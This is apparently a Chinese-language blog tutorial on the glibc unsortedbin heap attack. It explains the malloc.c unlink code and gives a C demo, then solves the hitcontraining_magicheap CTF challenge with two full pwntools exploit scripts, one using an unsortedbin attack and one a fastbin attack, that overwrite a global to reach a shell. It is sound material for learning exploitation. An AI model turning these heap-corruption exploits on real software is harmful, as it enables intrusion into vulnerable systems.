avatar

unsortedbin attack

unsortedbin attack

P1-unsortedbin

前言

在之前的 fastbin 中我们知道,对于chunk->szie<=0x80大小的chunk其结构体如下

struct fastbin_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk* fd;
};

在bin中是一个单链表的结构,可以修改fd指针来让ptmalloc分配到我们想要的地址,从而对该地址写入已覆写值(如改 free@got__libc_system )

同时此前对于双链表的攻击方式已经知道的有 Unlink,这是对双链表从链表中脱离时的攻击,那么类似的手法应用至 unsortedbin会怎样?

数据结构

  • 何时使用: 当释放较小或较大的chunk的时候,如果系统没有将它们添加到对应的bins中,系统就将这些chunk添加到unsorted bin中

  • 目的: 这主要是为了让“glibc malloc机制”能够有第二次机会重新利用最近释放的chunk(第一次机会就是fast bin机制)。利用unsorted bin,可以加快内存的分配和释放操作,因为整个操作都不再需要花费额外的时间去查找合适的bin了Unsorted bin的特性如下:

  • unsorted bin的个数: 1个

  • unsorted bin是一个由free chunks组成的循环双链表

  • 在unsorted bin中,对chunk的大小并没有限制,任何大小的chunk都可以归属到unsorted bin中

  • unsortedbin采用的遍历顺序是FIFO

unsotedbin双链表多了一个向后的指针 bk,指向上一个chunk,参考Unlink,unsotedbin脱离链表时,会不会也有类似的漏洞?这里以 glibc-2.23为例子

//path: /malloc/malloc.c line: 3516

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

那么bck从哪里来?继续看上面的代码

//path: /malloc/malloc.c line: 3470
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
..................
..................
...................
}

//path: /malloc/malloc.c line: 3325
/* inspected/selected chunk */
// mchunkptr victim;

其中victim是被我们选中的chunk,也就是说,通过修改 victim->bk,可以修改 bck,从而修改bck->fd位置的值

attack.png

再CTF-wiki上是这样解释的

img

关于av->fd和av->prev_size的位置可以理解为相同

在正常情况下 bckav,即正常下是 av->fd=av,av->bk=av,自己指向自己

normal.png

简单的来说,就是修改 在bin中的 unsortedbin 的bk指针,让 unsortedbin->bk = &target-2(减去prev_size和size),达到了 target_value = unsortedbin->fd

P-2-Demo演示

源代码

  • 这里参考了how2heap的教程
#include <stdio.h>
int main(int argc, char const *argv[])
{
/* code */
unsigned long target=0;

unsigned long *p = malloc(400);
malloc(500);
free(p);

fprintf(stderr, "p[1]> %p\n",p[1]);
fprintf(stderr, "start attack\n");

p[1] = (unsigned int)(&target-2);
fprintf(stderr, "Now p[1]> %p\n",p[1]);

malloc(400);
fprintf(stderr, "After malloc 400 p[1]> %p\n",p[1]);
fprintf(stderr, "%p: %p\n", &target, (void*)target);
return 0;
}

运行结果

p[1]> 0xf7f007b0
start attack
Now p[1]> 0xff84abcc
After malloc 400 p[1]> 0xff84abcc
0xff84abd4: 0xf7f007b0

分析

  • 我们首先申请了 chunk_p ,在栈上面有一个受害者 target

  • chunk_p 中,p[1]就是 P->bk

  • 我们假设在 &target-2 位置有个 chunk_q ,按照unsorted_bin的格式解析,那么 chunk_q->fd == target,上面的代码放在这里就是

    chunk_p->bk = chunk_q;
    chunk_q->fd = chunk_p(其实也是fd);

gdb调试

  • free§过后

    freed.png

  • 修改了bk(一般这个步骤通过堆溢出覆盖实现)

    attack.png

    aQlsr6.png

  • malloc(400)过后

    back.png

    从这里就可以看出,按照malloc_chunk的格式解析 &target-2,那么已经将target改为了chunk的fd,通过bck->fd = unsorted_chunks (av);,成功修改了目标地址,如果是通过溢出的话,将 p->fd 修改为特定的值的话,那么就可以利用这个将特定地址修改为特定值

P-3-例题

hitcontraining_magicheap

其实这道题有两种方法: Fastbin_attackUnsortedbin-attack

检查

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

代码分析

  • edit_heap()

    aQcgPJ.png

  • main

    if ( v3 == 4 )
    exit(0);
    if ( v3 == 4869 )
    {
    if ( (unsigned __int64)magic <= 0x1305 )
    {
    puts("So sad !");
    }
    else
    {
    puts("Congrt !");
    l33t("Congrt !", &buf);
    }
    }

    magic 修改为 >1305就可以进入后门函数getshell

思路

  • 没有开启PIE,所以magic的位置相对好找

  • 攻击方法

    • 1.创建chunk的时候没有限制大小,可以创建unsorted_chunk,利用unsortedbin_attack来修改magic的值
    • 2.利用堆溢出来修改已释放chunk的fd,利用fastbin_attack来申请到magic的位置,最终填入内容进行修改

    所以有共同的前期准备

    from pwn import *
    elf = ELF("magicheap")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    sh = 0

    def create(sz,text):
    sh.senlineafter("Your choice :",'1')
    sh.senlineafter("Size of Heap : ",str(sz))
    sh.sendafter("Content of heap:",text)

    def edit(idx,sz,text):
    sh.senlineafter("Your choice :",'2')
    sh.senlineafter("Index :",str(idx))
    sh.senlineafter("Size of Heap : ",str(sz))
    sh.sendafter("Content of heap : ",text)

    def delete(idx):
    sh.senlineafter("Your choice :",'3')
    sh.senlineafter("Index :",str(idx))

    def main(ip,port,debug,mode):
    global sh
    if debug==0:
    context.log_level = "debug"
    else:
    pass
    if mode==0:
    sh = process("magicheap")
    else:
    sh = remote(ip,port)

先讲讲 Unsortedbin-attack

  • 1.如何申请到 Unsortedbin?
    • 在没有适合的bins下,将chunk加入Unsortedbin,一般来说大于或等于0x80(fastbin)就行
  • 2.如何进行攻击
    • 和上面的Demo演示相似,在edit_heap时,覆盖fd和bk

1.创造chunk

create(0x20,"head")#0
create(0x80,"aaaa")#1
create(0x20,"avoid")#2

2.释放chunk_1

因为chunk_1->size==0x80,所以释放后是unsortedbin

aQInPK.png

3.进行攻击

payload = "a"*0x20 #overwirte chunk_0
payload += p64(0)+p64(0x91) #repair chunk_1 prev_size & size
payload += p64(0x1306) #chunk_1->fd
payload += p64(0x6020A0-0x10) #chunk_1->bk = &magic-2

edit(0,len(payload),payload)

aQIvsH.png

可以看到已经被修改了,那我们再申请回来

create(0x80,'iamback')

aQog0A.png

发现被修改成功,但是我们改了chunk_1->fd,不过没什么影响,还是原来的值,最后成功getshell

aQTauQ.png

完整EXP

from pwn import *
elf = ELF("magicheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = 0

def create(sz,text):
sh.sendlineafter("Your choice :",'1')
sh.sendlineafter("Size of Heap : ",str(sz))
sh.sendafter("Content of heap:",text)

def edit(idx,sz,text):
sh.sendlineafter("Your choice :",'2')
sh.sendlineafter("Index :",str(idx))
sh.sendlineafter("Size of Heap : ",str(sz))
sh.sendafter("Content of heap : ",text)

def delete(idx):
sh.sendlineafter("Your choice :",'3')
sh.sendlineafter("Index :",str(idx))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("magicheap")
else:
sh = remote(ip,port)

create(0x20,"head")#0
create(0x80,"aaaa")#1
create(0x20,"avoid")#2

delete(1)
gdb.attach(sh)
payload = "a"*0x20 #overwirte chunk_0
payload += p64(0)+p64(0x91) #repair chunk_1 prev_size & size
payload += p64(0x1306) #chunk_1->fd
payload += p64(0x6020A0-0x10) #chunk_1->bk = &magic-2

edit(0,len(payload),payload)
create(0x80,'iamback')
sh.sendlineafter("Your choice :",'4869')
sh.interactive()


if __name__ == '__main__':
main(0,0,0,0)

Fastbinattack的话,和之前的步骤没有什么差别

aQb3NR.png

完整EXP

from pwn import *
context.log_level = "debug"
elf = ELF("./magicheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./magicheap")
#p = remote("node3.buuoj.cn","25535")

def add(sz,text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)

def edit(idx,text):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(len(text)))
p.sendlineafter(":",str(text))

def free(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

l33t = 0x6020A0
if __name__ == '__main__':
add(0x60,'aaaa')
add(0x60,'aaaa')
add(0x60,'aaaa')

free(2)
edit(1,'a'*0x60+p64(0)+p64(0x71)+p64(l33t-0x13))
gdb.attach(p)
add(0x60,'aaaa') #2
add(0x60,'aaaa') #3 fake_chunk
edit(3,'a'*8)
p.sendlineafter(":",str(0x1305))
p.interactive()
Author: Joe1sn
Link: http://blog.joe1sn.top/2020/heap_learning_part3-Unsortedbin_ATK/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信